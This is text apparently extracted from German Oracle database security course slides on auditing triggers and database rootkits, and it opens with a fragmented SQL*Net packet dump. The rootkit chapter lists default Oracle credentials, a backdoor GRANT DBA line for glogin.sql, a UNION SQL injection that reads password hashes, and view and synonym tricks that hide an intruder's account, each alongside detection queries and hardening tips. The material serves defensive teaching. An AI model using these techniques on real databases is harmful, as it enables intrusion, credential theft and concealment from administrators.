[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
[23-FEB-2005
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
13:59:51:716]
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
nsprecv:
packet dump
01 20 00 00
00 00 10 19
74 06 83 68
02 17 0E 23
00 00 00 00
00 01 00 00
80 00 00 05
00 00 00 00
00 00 00 00
00 01 00 05
07 07 00 00
41 52 43 4F
00 00 00 00
00 07 78 69
34 06 01 02
00 01 00 00
00 00 00 00
00 00 00 00
05 4D 61 72
00 05 B2 44
06
35
00
27
00
00
00
00
00
00
00
27
00
02
EC
00
00
00
63
00
00
09
00
ED
05
37
00
00
00
00
07
00
07
17
01
BF
A4
BF
6F
00
00
5B
78
02
00
01
00
00
00
00
27
00
00
0E
00
06
0D
06
08
00
Stichwörter: Verschlüsselung überprüfen
Security I 4 - 10
00
17
69
00
00
60
00
00
B2
01
4D
00
00
3C
00
00
00
07
05
00
|........|
|....5.[.|
|t..h..xi|
|...#'...|
|........|
|.....7.`|
|........|
|........|
|........|
|........|
|......'M|
|ARCO'...|
|........|
|..xi...<|
|4.......|
|........|
|........|
|........|
|.Marco..|
|...D....|
Kapitel 5
Trigger
Security I 5 - 1
Überwachung mittels Trigger
Trigger zünden bei einem DML oder DDL Befehl.
Mit DDL Trigger können auch der Datenbankstart/stop
und das An/Abmelden der Benutzer getriggert werden
Sie können aufzeichnen, welche Aktion durchgeführt
wurde.
Trigger können autonome Transaktionen durchführen
(Das sind separate Transaktionen, die mit einem COMMIT
abgeschlossen werden).
Sie bieten die einzige Möglichkeit, um
Datenveränderungen in Tabellen zu dokumentieren.
Achtung: Trigger verlangsamen DML-Transaktionen
MuniQSoft GmbH
Kapitel 5 - Trigger
Security I 5 - 2
Stichwörter: Überwachung, Trigger
Security I 5 - 2
Beispiel für einen Trigger:
CREATE OR REPLACE TRIGGER emp_trig_idu
BEFORE UPDATE OR INSERT OR DELETE ON emp
FOR EACH ROW
WHEN (NVL(old.sal,0)<>nvl(new.sal,0) )
DECLARE
vmode VARCHAR2(20);
BEGIN
IF updating THEN vmode:='Upd';
ELSIF deleting THEN vmode:='Del';
ELSE
vmode:='Ins';
END IF;
/*##### Aufzeichnung der Gehaltsveränderung in emp-Tab. */
INSERT INTO emp_audit
(cmode,empno,ename,old_sal,new_sal,user_name,change_date)
VALUES
(vmode,nvl(:old.empno,:new.empno,nvl(:old.ename,:new.ename)
,:old.sal,:new.sal,user,sysdate);
END;
MuniQSoft GmbH
Kapitel 5 - Trigger
Security I 5 - 3
Stichwörter:
Security I 5 - 3
Logon Trigger
CREATE OR REPLACE TRIGGER afterlogon
AFTER LOGON on DATABASE
BEGIN
RAISE_APPLICATION_ERROR (-20001, 'You are not allowed
to logon from this terminal');
END;
/
Mit zeitlicher Steuerung
if ( to_char( sysdate, 'hh24' ) not between 7 and 18 )then
Abhängig vom Terminal
sys_context('userenv','Terminal') ='Hauptterminal'
MuniQSoft GmbH
Kapitel 5 - Trigger
Security I 5 - 4
Ein After Logon Trigger zündet immer dann, wenn ein Benutzer sich an der
Datenbank anmeldet. Mit diesem Trigger könnte z. B. ein Anmelden von bestimmten
Konstellationen abhängig gemacht werden (z. B. Uhrzeit, Tag, Benutzername, u.s.w.)
CREATE OR REPLACE TRIGGER afterlogon
AFTER LOGON on DATABASE
BEGIN
Durch den RAISE… wird der Benutzer wieder abgemeldet
RAISE_APPLICATION_ERROR (-20001, 'You are not allowed to logon
from this terminal');
END;
/
Rem Mit zeitlicher Steuerung
IF ( TO_CHAR( sysdate, 'hh24' ) NOT BETWEEN 7 AND 18 ) THEN
rem abhängig vom Terminal
SYS_CONTEXT('USERENV','TERMINAL') ='HAUPTTERMINAL'
REM abhängig vom Benutzer
SYS_CONTEXT('USERENV', 'CURRENT_USER') ='USER'
Stichwörter: Logon Trigger
Security I 5 - 4
System-Trigger
Folgende System-Ereignisse können Trigger auslösen.
AFTER LOGON ON SCHEMA | DATABASE
BEFORE LOGOFF ON SCHEMA | DATABASE
AFTER SERVERERROR ON SCHEMA | DATABASE
AFTER STARTUP ON DATABASE
BEFORE SHUTDOWN ON DATABASE
BEFORE UNPLUG ON PLUGGABLE DATABASE (ab 12c)
Vorsicht bei einem AFTER LOGON ON DATABASETrigger: Schlägt er fehl, kann sich nur noch ein SYSDBA
einloggen
MuniQSoft GmbH
Kapitel 5 - Trigger
Security I 5 - 5
Systemtrigger
In System- und DDL-Triggern stehen eine Reihe neuer Attribute zur Verfügung, die
alle inclusive Schemaname des Owners (=SYS) verwendet werden müssen. Alle
neuen Trigger verfügen über folgende Attribute:
•
•
•
•
SYSEVENT (Return VARCHAR2(20)): Name des auslösenden Events
LOGIN_USER (Return VARCHAR2(30)): angemeldeter User
INSTANCE_NUM (Return NUMBER): Instanznummer
DATABASE_NAME (Return VARCHAR2(50)): Datenbankname
Bei SERVERERROR-Triggern sind zusätzlich verfügbar:
•
•
SERVER_ERROR(n) (Return NUMBER): Fehlernummer an der Position n im
errorstack
IS_SERVERERROR(<Fehlernummer>) (Return BOOLEAN): Gibt TRUE
zurück, falls der Fehler mit dieser Fehlernummer aufgetreten ist
Ab Version 8.1.6 gibt es Public Synonyme für diese Attribute:
•
•
•
•
•
•
ORA_SYSEVENT für SYS. SYSEVENT
ORA_LOGIN_USER für SYS. LOGIN_USER
ORA_INSTANCE_NUM für SYS. INSTANCE_NUM
ORA_ DATABASE_NAME für SYS.DATABASE_NAME
ORA_ SERVER_ERROR für SYS. SERVER_ERROR
ORA_ IS_SERVERERROR für SYS. IS_SERVERERROR
Stichwörter: System-Trigger
Security I 5 - 5
Beispiel System-Trigger
CREATE OR REPLACE TRIGGER log_trig
AFTER LOGON ON DATABASE
BEGIN
INSERT INTO logevents (l_user, l_time)
VALUES(SYS.LOGIN_USER, SYSDATE);
COMMIT; -- geht!
END;
Anmerkungen:
SYS.LOGIN_USER ist ein Attribut, das in jedem Trigger zur
Verfügung steht.
Auch SYS.SYSEVENT kann in jedem System- oder DDLTrigger abgefragt werden.
MuniQSoft GmbH
Kapitel 5 - Trigger
Security I 5 - 6
Systemtrigger
Ab Version 8.1.6 kam für AFTER LOGON-Trigger ein weiteres Attribut hinzu:
•
ORA_CLIENT_IP_ADDRESS (Return VARCHAR2): IP-Adresse des Client,
falls die Verbindung über TCP/IP läuft
Ab Version 9i kamen folgende Error-Attribute dazu:
•
•
•
•
ORA_SERVER_ERROR_DEPTH (Return BINARY_INTEGER): Tiefe des error
stack
ORA_SERVER_ERROR_MSG (n, Return VARCHAR2): Fehlermeldung an
Position n des error stack
ORA_SERVER_ERROR_NUM_PARAMS (n, Return BINARY_INTEGER):
Anzahl der ersetzten Wildcards bei Fehlermeldung an Position n des error stack
ORA_SERVER_ERROR_PARAM (n, x, Return VARCHAR2): Wert, der anstelle
der x-ten Wildcard bei Fehlermeldung an Position n des error stack eingesetzt
wurde
Stichwörter:
Security I 5 - 6
DDL-Trigger
Folgende DDL-Befehle können ebenfalls als TriggerEvent dienen:
CREATE
ALTER
DROP
MuniQSoft GmbH
Kapitel 5 - Trigger
Security I 5 - 7
DDL-Trigger
Auch DDL-Trigger gibt es ab Version 8i. Im ersten Release waren die unterstützten
Events noch auf die drei wichtigsten, oben aufgeführten Befehle beschränkt.
In DDL-Triggern stehen neben den auch in allen Systemtriggern verfügbaren
Attributen noch folgende weitere Attribute zur Verfügung, die ebenfalls inclusive
Schemaname des Owners (=SYS) angesprochen werden müssen:
•
•
•
•
DICTIONARY_OBJ_TYPE (Return VARCHAR2(20)): Objekttyp, auf den DDLBefehl abgesetzt wurde
DICTIONARY_OBJ_NAME (Return VARCHAR2(30)): Objektname, auf den
DDL abgesetzt wurde
DICTIONARY_OBJ_OWNER (Return VARCHAR2(30)): Objektinhaber
DES_ENCRYPTED_PASSWORD (Return VARCHAR2): Passwort des
geänderten Benutzers; nur bei CREATE / ALTER USER
Ab Version 8.1.6 existieren auch für diese Attribute Synonyme:
•
•
•
•
ORA_DICT_OBJ_TYPE für SYS. DICTIONARY_OBJ_TYPE
ORA_DICT_OBJ_NAME für SYS. DICTIONARY_OBJ_NAME
ORA_DICT_OBJ_OWNER für SYS. DICTIONARY_OBJ_OWNER
ORA_DES_ENCRYPTED_PASSWORD für
SYS.DES_ENCRYPTED_PASSWORD
Stichwörter: DDL-Trigger
Security I 5 - 7
DDL-Trigger (ff)
Weitere DDL-Befehle:
RENAME
TRUNCATE
ANALYZE
ASSOCIATE STATISTICS
DISASSOCIATE STATISTICS
AUDIT
NOAUDIT
COMMENT
MuniQSoft GmbH
Kapitel 5 - Trigger
Security I 5 - 8
DDL-Trigger
Ab Version 8.1.6 (= Version 8i Release 2) kamen eine Reihe weiterer DDL- und auch
DCL-Befehle dazu. Voraussetzung für die Erstellung der entsprechenden Trigger ist,
dass der compatible-Parameter der Datenbank auf mindestens 8.1.6 eingestellt wird.
Auch eine Reihe weiterer Attribute kam hinzu, die allerdings alle auf einen oder
wenige Befehle beschränkt sind:
• ORA_IS_CREATING_NESTED_TABLE (Return BOOLEAN): Nur bei CREATE
TABLE
• ORA_IS_ALTER_COLUMN(spaltenname) (Return BOOLEAN): Nur bei ALTER
TABLE
• ORA_IS_DROP_COLUMN(spaltenname) (Return BOOLEAN): Nur bei ALTER
TABLE
Für ASSOCIATE / DISASSOCIATE STATISTICS wurden folgende Attribute neu
eingeführt:
• ORA_DICT_OBJ_NAME_LIST(name_list OUT ORA_NAME_LIST_T, Return
BINARY_INTEGER)
• ORA_DICT_OBJ_OWNER_LIST(name_list OUT ORA_NAME_LIST_T, Return
BINARY_INTEGER)
Returnwert ist jeweils die Anzahl der Einträge in name_list; diese Einträge
entsprechen den Namen der Owner bzw. der Objekte, die durch den Befehl betroffen
sind. ORA_NAME_LIST_T ist TABLE OF VARCHAR2(64).
Stichwörter:
Security I 5 - 8
DDL-Trigger (ff)
Weitere DCL-Befehle:
GRANT
REVOKE
MuniQSoft GmbH
Kapitel 5 - Trigger
Security I 5 - 9
DDL-Trigger
Im Zusammenhang mit den DCL-Befehlen wurden folgende Attribute neu eingeführt:
•
•
•
•
ORA_GRANTEE(list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER):
Nur bei GRANT
ORA_REVOKEE(list OUT ORA_NAME_LIST_T, Return BINARY_INTEGER):
Nur bei REVOKE
ORA_PRIVILEGE_LIST(list OUT ORA_NAME_LIST_T, Return
BINARY_INTEGER): Bei GRANT und REVOKE
ORA_WITH_GRANT_OPTION(Return BOOLEAN): Nur bei GRANT; Gibt
zurück, ob Grant-Option erteilt wurde
Rückgabewert ist bei den ersten drei Funktionen wiederum die Anzahl der Einträge in
list.
Eingetragen werden:
• User, denen Privileg erteilt wurde (ORA_GRANTEE)
• User, denen Privileg entzogen wurde (ORA_REVOKEE)
• Namen der erteilten / entzogenen Privilegien (ORA_PRIVILEGE_LIST)
Stichwörter:
Security I 5 - 9
DDL-Trigger (ff)
Als Timing ist bei allen DDL-Triggern sowohl BEFORE als auch
AFTER möglich.
Als Gültigkeitsbereich gibt es bei allen DDL-Triggern ON
SCHEMA oder ON DATABASE.
Alle oben aufgeführten Ereignisse werden mit einem BEFORE |
AFTER DDL-Trigger (ON SCHEMA |DATABASE) erfasst.
Im Trigger-Body stehen zusätzlich folgende Attribute zur
Verfügung:
SYS.DICTIONARY_OBJ_NAME: Name des (erzeugten,
gelöschten...) Objekts
SYS.DICTIONARY_OBJ_OWNER: Owner des (erzeugten,
gelöschten...) Objekts
MuniQSoft GmbH
Kapitel 5 - Trigger
Security I 5 - 10
Stichwörter:
Security I 5 - 10
Beispiel DDL-Trigger
CREATE OR REPLACE TRIGGER create_trig
AFTER CREATE ON DATABASE
BEGIN
INSERT INTO logcreates
(l_owner, l_name, l_time)
VALUES(SYS.DICTIONARY_OBJ_OWNER,
SYS.DICTIONARY_OBJ_NAME, SYSDATE);
END;
Ein COMMIT ist nicht nötig
MuniQSoft GmbH
Kapitel 5 - Trigger
Security I 5 - 11
DDL-Trigger
DML-Befehle in DDL-Trigger brauchen kein COMMIT, da dieses durch den
auslösenden Befehl automatisch erfolgt, aber nur, sofern der DDL-Befehl nicht
fehlschlägt.
Ein Laufzeitfehler in einem DDL-Trigger oder ein RAISE_APPLICATION_ERROR
machen auch den DDL-Befehl rückgängig.
Stichwörter:
Security I 5 - 11
Weiteres Beispiel
Verhindern der Vergabe von Rechten (der EmpTabelle) an Public (einfache Version)
CREATE OR REPLACE TRIGGER create_trig
AFTER GRANT ON DATABASE
DECLARE
v_ora_name_list ora_name_list_t;
ret binary_integer;
BEGIN
ret:=ora_grantee(v_ora_name_list);
IF SYS.DICTIONARY_OBJ_OWNER='SCOTT'
AND SYS.DICTIONARY_OBJ_NAME='EMP'
AND v_ora_name_list(v_ora_name_list.first)='PUBLIC'
THEN
raise_application_error(
-20001,'No Grants to PUBLIC allowed');
END IF;
END;
MuniQSoft GmbH
Kapitel 5 - Trigger
Security I 5 - 12
Hinweis:
Verbesserte Version, die auch den Fall abfängt, dass das Recht an Mehrere vergeben
wird und Public nicht der erste ist.
CREATE OR REPLACE TRIGGER create_trig
AFTER GRANT ON DATABASE
DECLARE
v_ora_name_list ora_name_list_t;
ret
binary_integer;
BEGIN
ret:=ora_grantee(v_ora_name_list);
IF SYS.DICTIONARY_OBJ_OWNER='SCOTT'
and SYS.DICTIONARY_OBJ_NAME='EMP' THEN
FOR i IN v_ora_name_list.first ..
v_ora_name_list.last LOOP
IF v_ora_name_list(i)='PUBLIC' THEN
raise_application_error(
-20001,'No Grants to PUBLIC allowed');
END IF;
END LOOP;
END IF;
END;
/
Stichwörter: Rechtevergabe
Security I 5 - 12
Kapitel 6
Rootkits
Security II 6 - 1
Definition
Rootkit-Programme manipulieren das Betriebssystem so,
dass bestimmte Dateien, Registry-Einträge oder Prozesse
für Systemprogramme wie Windows Explorer,
Registrierungseditor oder Taskmanager unsichtbar
werden.
Damit ist es leicht, unbemerkt schädliche
Codes/Programme auf dem PC einzuschleusen.
Sony BMG machte sich diese Technik für seinen
umstrittenen und mittlerweile zurückgezogenen XCPKopierschutz für CDs zunutze.
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 2
Security II 6 - 2
Rootkit unter Unix
Die ersten Versionen modifizierten die Programme ps, ls
und passwd um ihre Anwesenheit zu verbergen und
ungehindert im System zu agieren.
Damit konnten Tastatureingaben (Keylogger)
mitgeschnitten oder Dateien unbemerkt ausgelesen oder
modifiziert werden.
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 3
Security II 6 - 3
Wer greift mich an?
Extern:
Script Kiddies
Professionelle Hacker
Konkurrenz?
Terroristen, NSA
Intern:
Entlassene Mitarbeiter
Verärgerte Mitarbeiter
Mitarbeiter mit Liebeskummer
Bestochene Mitarbeiter (Konkurrenz, Geheimdienst, …)
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 4
Security II 6 - 4
Was macht der Angreifer?
Daten auslesen (geheime, vertrauliche Unterlagen,
Kreditkarten-Informationen, Gehälter, …)
Daten verändern (sehr schwer nachvollziehbar! Wie
lange bewahren Sie Ihre Backups auf?)
Daten löschen (evtl. incl. Backup), formatieren
Von dort aus weitere Datenbanken/Rechner hacken
Missbrauch als Datencontainer für illegale
Software/Filme/Musik/Bilder!
Verwendung des Rechners als Spam-Zombie, DoS Client
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 5
Security II 6 - 5
Wie komme ich in die Oracle Datenbank?
Bekannte Benutzeraccounts/Passwörter versuchen
Top 10
SYSTEM/MANAGER
SYS/CHANGE_ON_INSTALL AS SYSDBA (Bis 10g)
SYS/SYS AS SYSDBA
DBSNMP/DBSNMP
MDSYS/MDSYS
SCOTT/TIGER
OUTLN/OUTLN
RMAN/RMAN
HR/HR
CTXSYS/CTXSYS
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 6
Hinweis:
Pete Finnigan hat auf seiner Webseite mehr als 100 Oracle Demo Accounts mit
Passwörtern zusammengefasst.
http://www.petefinnigan.com
Ihre Applikation sollte möglichst auch über ein langes Passwort verfügen, daß
nicht leicht erraten werden kann!
Security II 6 - 6
Wie komme ich in die Datenbank (f)
Keylogger auf den Client installieren. (Gibt es auch als
Hardware zu kaufen)
Passwörter in Skript-Dateien (Backupskripten,
Monitoring-Skripten) suchen.
Einschleusen von Code in Skipt-Dateien (catalog.sql,
catproc.sql, utlxplan.sql, utlrp.sql).
Passwort in der History suchen:
Dos: <F7>
Unix: history
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 7
Hinweis:
Gehen Sie doch mal z.B. mit dem Texteditor Ultraedit in Ihrem Skriptverzeichnis
auf die Suche nach " AS SYSDBA" oder "CONNECT <ihrUser>".
Sind diese Dateien ausreichend geschützt, bzw. kann man das Passwort
herausnehmen?
Wenn Sie den Arbeitsplatz verlassen, sollte sich nach kurzer Zeit ein
Bildschirmschoner einschalten, der mit einem Passwort versehen ist. Damit
können Sie verhindern, dass jemand in Ihrer Abwesenheit Ihre Tastatureingaben
über die History nachverfolgen kann.
Security II 6 - 7
Wie komme ich in die Datenbank (ff)
Brute Force Attack (Alle Passwort-Kombinationen
versuchen)
GLOGIN.SQL editieren:
GRANT DBA TO RSYS IDENTIFIED BY HACKER;
Versenden von manipulierten SQL*Net Paketen
(ohne Account) an die Datenbank mit
eingeschleustem Code.
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 8
Hinweis:
Sperren Sie die Dateien glogin.sql und login.sql gegenüber Schreibzugriffen.
Security II 6 - 8
Wie komme ich in die Datenbank (ff)
Applikation besitzt DBA-Rechte
, deshalb
SQL Injection bei dynamischem Cursor:
SELECT name FROM kunden where
/* kunden_id=1 */
kunden_id=1 UNION
SELECT username||'.'||password FROM
dba_users;
Danach mit Brute-Force-Tool orabf das Passwort
knacken.
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 9
Hinweis:
Verwenden Sie in PL/SQL möglichst wenig dynamisches SQL. Vertreter dieser
Generation sind:
• EXECUTE IMMEDIATE
• DBMS_SQL
• REF CURSOR
Security II 6 - 9
Wie komme ich in die Datenbank (ff)
Hacken des Listeners (z.B. Einschleusen von Codes, der
einen Benutzer mit Administratoren-Rechten anlegt)
Social Hacking
Passwörter erraten (Susi, Uschi, BMW, FC Bayern, …)
Klebt ein Post-It auf dem Bildschirm mit dem Passwort,
oder steht es unter der Tastatur?
USB-Sticks mit Trojaner in Firmennähe liegen lassen
Phishing
Verschicken Sie Emails mit Text: Für Wartungsarbeiten
auf der Datenbank für welche Ihr Password benötigt wird☺
☺
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 10
SQL*Net Tracing
Wenn der Parameter trace_level_client = 16 in sqlnet.ora clientseitig gesetzt
wurde, können SQL-Kommandos mitgelesen werden:
… nspsend: 01 28 61 6C 74 65 72 20 |.(alter.|
… nspsend: 75 73 65 72 73 20 73 79 |users.sy|
… nspsend: 73 74 65 6D 20 69 64 65 |stem.ide|
… nspsend: 6E 74 69 66 69 65 64 20 |ntified.|
… nspsend: 62 79 20 6D 61 6E 61 67 |by.manag|
… nspsend: 65 72 01 00 00 00 01 00 |er......|
Security II 6 - 10
Ich bin drin ...
Was nun ?
Verwendung von diversen PL/SQL Packages, um Daten
aus der Datenbank zu entwenden
utl_file => schreibt auf lokale Platte
utl_tcp, utl_http =>verschickt per http/ftp/email
utl_smtp, utl_mail => verschickt email
dbms_metadata, …). => zeigt Objektstrukturen an
Freischalten von ftp oder http Ports mittels dbms_xdb
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 11
Security II 6 - 11
Namensauflösung bei Objekten
Wenn ein Objektname (Tabelle, View, Package,
Procedure, Function) angegeben wird, geht Oracle
wie folgt vor:
1. Gibt es im lokalem Schema ein Objekt mit diesen Namen
(Achtung das lokale Schema lässt sich ändern mittels:
ALTER SESSION SET current_schema=<schema>;
Wenn Nein,
2. Gibt es ein lokales Synonym mit diesem Namen
Wenn Nein
3. Gibt es ein Public Synonym mit diesem Namen
Wenn Nein
4. Fehlermeldung ausgeben (z.B. ORA-00942: Tabelle oder View
nicht vorhanden)
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 12
Beispieltricks:
Legen Sie eine lokale View mit Namen all_tables für den den Benutzer SCOTT
an:
• CREATE OR REPLACE VIEW scott.all_tables ...
Legen Sie ein lokales Package utl_file für Scott an:
• CREATE OR REPLACE package scott.utl_file
Legen Sie ein lokales Synonym an:
• CREATE SYNONYM utl_http ...
Legen Sie ein globales Synonym an:
• CREATE PUBLIC SYNONYM utl_tcp ...
Security II 6 - 12
Manipulation der Verwaltungsviews
Ein Hacker muss nur in den üblicherweise verwendeten
Verwaltungsviews zusätzliche Filter einbauen, die die
gewünschten Einträge verstecken.
Da die meisten grafischen Tools nur die Inhalte von
ALL_/DBA_ Objekten anzeigen, kann ein Hacker sich hier
verstecken
Wenn Sie herausfinden möchten auf welchen Tabellen
eine Verwaltungsview basiert, sehen Sie in dba_views
oder noch besser in view$ nach
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 13
Beispiele:
1. Wir nehmen die offizielle Verwaltungsview um herauszufinden, auf welcher
Tabelle die View session_privs basiert:
• SELECT text FROM dba_views WHERE
view_name='SESSION_PRIVS';
• Text
-----------------------• select spm.name from sys.v$enabledprivs ep,
system_privilege_map spm
where spm.privilege = ep.priv_number
2. Die gleiche Abfrage nun mit der Original-Tabelle:
• select text from view$ where obj# in (select obj# from
sys.obj$ where name='SESSION_PRIVS')
Security II 6 - 13
Manipulation der Verwaltungsviews
Beispiel: DBA_USERS
Hinzufügen in der View:
CREATE OR REPLACE VIEW dba_users
..
AND username <> 'HACKER';
Blendet in der View nun 'Hacker' aus
Alternative:
Hacker arbeitet unter einem immer vorhandenen Account:
SYS, SYSTEM, OUTLN, SYSMAN, XDB, MDSYS, PERFSTAT
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 14
DD Tabelle
DD View
Bemerkung
user$
DBA_USER
Alle installierten Benutzer und Rollen
obj$
DBA_OBJECTS
Alle installierten Objekte (Tabs/Procs/Trigger,
...)
tab$
DBA_TABLES
Alle installierten normalen relat. Tabellen
col$
DBA_TAB_COLUMN
S
Alle Spalten der Tabellen
view$
DBA_VIEWS
Alle installierten Views
trigger$
DBA_TRIGGERS
Alle installierten Trigger
link$
DBA_DB_LINKS
Alle Datenbank-Links
source$
DBA_SOURCE
Alle Quellcodes (auch gewrappte)
syn$
DBA_SYNONYMS
Alle Synonyme
ts$
DBA_TABLESPACE
S
Alle Tablespaces
Security II 6 - 14
Verwaltungsviews (V$...)
GV$ und V$ Views sind Performance-Views, die nicht im
üblichen Verwaltungsapparat (Tablespace SYSTEM)
gespeichert werden, sondern z.B. im Controlfile.
Sie basieren auch nicht auf einer View, sondern auf einer
festen Struktur.
Jedoch heißen die Originalobjekte V_$... & GV_$ und auf
diesem liegt dann ein Public Synonym.
Beispiel:
V_$SESSION => Public Synonym mit Namen V$SESSION
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 15
Security II 6 - 15
Verwaltungsviews (V$...)
Der Hackertrick besteht nun darin, eine lokale View mit
Namen V$... (z.B: V$SESSION) anzulegen, in der ein
gewünschter Filter gesetzt wird.
Beispiel:
CREATE OR REPLACE VIEW sys.V$$session
AS
SELECT * FROM sys.V_$session
WHERE username <> 'HACKER';
DROP PUBLIC SYNONYM v$session;
CREATE public synonym v$session
FOR sys.v$$session;
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 16
Security II 6 - 16
Verwaltungsviews (V$...)
Alternativ wird einfach das Public Synonym auf ein
anderes Objekt umgeleitet:
CREATE PUBLIC SYNONYM v$session
FOR system.v$session_hack;
oder als lokales Synonym:
CREATE SYNONYM v$session
FOR system.v$session_hack;
Hinweis:
Zum Auslesen der View-Struktur verwendet man:
SELECT dbms_metadata.get_ddl
('VIEW','SYS','<VIEW_NAME>')
FROM dual;
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 17
Security II 6 - 17
Abweichungen bei Benutzertabellen
Vergleichen Sie Original-Tabelle mit der DBA View:
SELECT name FROM sys.user$
minus
SELECT username FROM dba_users
minus
SELECT role FROM dba_roles;
Ergebnismenge sollte nur die folgenden Benutzer
ergeben:
PUBLIC
_NEXT_USER
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 18
Abweichungen bei Triggern:
SELECT u.name,o.name
FROM sys.trigger$ t, sys.user$ u, sys.obj$ o
WHERE t.obj#=o.obj# and o.owner#=u.user#
MINUS
SELECT owner,trigger_name FROM dba_triggers;
Die Liste sollte leer sein.
Abweichungen bei Jobs
SELECT job,lowner,powner,what
FROM sys.job$
MINUS
SELECT job,log_user,priv_user,what FROM dba_jobs;
Die Liste sollte leer sein.
Abweichungen bei Objekten
SELECT u.name,o.name
FROM sys.obj$ o, sys.user$ u
WHERE u.user#=o.owner#
AND o.type# IN (7,8,9,11)
MINUS
SELECT owner,object_name
FROM dba_objects
WHERE object_type IN ('PROCEDURE',
'PACKAGE', 'PACKAGE BODY', 'FUNCTION');
Die Liste sollte leer sein.
Security II 6 - 18
Abweichung von Public Synonymen
SELECT u.name "Syn.-Owner", o.name as "Syn.Name", s.owner, s.name as "ORIG.-NAME"
FROM sys.syn$ s, sys.obj$ o, sys.user$ u
WHERE o.owner#=u.user# AND s.obj#=o.obj#
AND o.name in
('V$SESSION','V$DATABASE','V$INSTANCE');
Beispiel Ergebnismenge:
PUBLIC
V$INSTANCE SYS
V_$INSTANCE
PUBLIC
V$DATABASE SYS
V_$DATABASE
PUBLIC
V$SESSION
V$$SESSION
SYSTEM
V$DATABASE SYSTEM V$LOGFILE
MuniQSoft GmbH
SELECT
FROM
WHERE
AND
AND
AND
OR
OR
OR
OR
OR
SYS
Kapitel 6 - Rootkits
Security II 6 - 19
o.name, s.owner, s.name, s.node
sys.syn$ s, sys.obj$ o
o.obj# = s.obj#
o.type# = 5
o.owner# = userenv('SCHEMAID')
(o.name LIKE 'V$%'
o.name LIKE 'USER_%'
o.name LIKE 'ALL_%'
o.name LIKE 'DBA_%'
o.name LIKE 'DBMS_%'
o.name LIKE 'UTL_%');
Als Benutzer SYSTEM (nicht SYS) oder beliebig anderer Benutzer, sollte diese
Liste leer sein.
Security II 6 - 19
Abweichung bei Privilegien
Leider ist eine Überwachung/Überprüfung hier sehr
schwierig, denn System- oder Objektrechte können
entweder
Direkt
Über eine Rolle
Über eine Rolle die in einer Rolle liegt
Über eine Rolle die in einer Rolle die einer Rolle liegt
{Über ein Rolle}255
zugewiesen werden
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 20
Hinweis:
Die Original-Views bestehen aus folgenden Selects:
DBA_TAB_PRIVS:
select ue.name, u.name, o.name, ur.name, tpm.name,
decode(mod(oa.option$,2), 1, 'YES', 'NO'),
decode(bitand(oa.option$,2), 2, 'YES', 'NO')
from sys.objauth$ oa, sys.obj$ o, sys.user$ u, sys.user$ ur, sys.user$ ue,
table_privilege_map tpm
where oa.obj# = o.obj#
and oa.grantor# = ur.user# and oa.grantee# = ue.user#
and oa.col# is null and oa.privilege# = tpm.privilege
and u.user# = o.owner#;
DBA_SYS_PRIVS:
select u.name,spm.name,decode(min(option$),1,'YES','NO')
from sys.system_privilege_map spm, sys.sysauth$ sa, user$ u
where sa.grantee#=u.user# and sa.privilege#=spm.privilege
group by u.name,spm.name
Security II 6 - 20
SELECT führt DDL aus
Sie waren bisher der Meinung, ein SELECT liest immer nur und
verändert nichts??
CREATE OR REPLACE FUNCTION ftest
RETURN NUMBER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'create table t ( d date)';
RETURN 1;
END;
CREATE OR REPLACE VIEW emp_view AS
SELECT * FROM scott.emp
WHERE 1=ftest;
SELECT * FROM emp_view; /*Legt Tabelle t an*/
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 21
Hinweis:
Die moderne Variante ab 12c kommt auch ohne CREATE PROCEDURE Recht
aus:
WITH
FUNCTION f(id IN NUMBER) RETURN NUMBER
IS PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN EXECUTE IMMEDIATE 'create table t ( d date)';
RETURN 1;
END;
SELECT f(object_id) FROM all_objects
WHERE rownum <2
select * from t;
Security II 6 - 21
Objekte als Oracle eigene ausgeben
Welche der folgenden Objekte sind nicht von Oracle?
sys.dbms_backup_restore
sys.plitblm
sys.dbms_pickler
sys.dbms_utl
sys.sys_stub_for_purity_analysis
sys.utl_ldap
ctxsys.drue
ctxsys.drixml
sys.dbms_schema_name_export
MuniQSoft GmbH
Kapitel 6 - Rootkits
Security II 6 - 22
Hinweis:
Die Idee zu diesem Trick kam mir beim Thema Steganographie. Da wird eine
Nachricht z.B. dadurch verschlüsselt, dass sie in einem Bild versteckt wird. Die
ideale Verschlüsselung ist die, wo man nicht erkennt das geheime Informationen
